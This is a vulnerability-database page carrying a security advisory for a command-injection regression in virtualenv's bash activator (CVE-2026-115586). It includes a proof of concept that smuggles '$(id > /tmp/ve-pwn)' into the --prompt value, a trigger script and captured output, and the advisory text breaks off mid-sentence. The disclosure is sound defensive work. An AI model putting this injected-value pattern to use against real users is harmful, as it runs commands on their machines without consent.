high · 7.1 Patched

virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)

CVE-2026-115586 · GHSA-cx6f-vjhg-g3cc · published 23 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.1 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-115586?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • virtualenv (PyPI) >= 21.14.9, < 21.14.13

How to check

  1. Run pip show virtualenv in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade virtualenv to 21.14.13 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`. This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off. ## Affected area Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`. ## Attacker-controlled input The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick. Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment. ## Details Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160) ```sh if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] && { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then _OLD_VIRTUAL_PS1="${PS1-}" # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and # backslashes need doubling. ... if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}" else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" unset _VIRTUAL_PROMPT fi fi ``` Two separate mistakes combine: 1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation. 2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch. The rendered prompt shows the regression directly: ``` 21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) <- escaped, inert 21.14.9 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value 21.14.12 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value ``` Relevant commit: [`5f48d711` "fix(bash): preserve literal prompts in supported shells (#3418)"](https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22), which removed the unconditional `$`/backtick escaping from the bash path. Advisory for that change: [GHSA-6w3r-xr62-4xcp](https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp). ## Proof of concept Non-destructive payload: it runs `id` and writes the output to a file. ```bash python -m virtualenv --no-seed --no-periodic-update --activators bash \ --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo cat > /tmp/rc <<'EOF' shopt -u promptvars . /tmp/venv-demo/bin/activate shopt -s promptvars EOF # the prompt needs a tty; script(1) provides one printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null cat /tmp/ve-pwn ``` Observed on 21.14.12: ``` $ cat /tmp/ve-pwn uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama) ``` The prompt printed as `(xy)`. The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does. Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled: | After `. bin/activate` (activated with `shopt -u promptvars`) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | `shopt -s promptvars` | inert | executes | executes | | `set -o posix` | inert | executes | executes | | `export PS1`, then start an interactive child `bash` (its `promptvars` defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with `set -o posix` already on | inert | inert | inert | The third trigger needs no explicit option change: the poisoned `PS1` is inherited and the child bash expands it on its first prompt. `shopt -u promptvars` is a documented way to make an expensive bash prompt cheap and appears in `~/.bashrc` files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an …

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON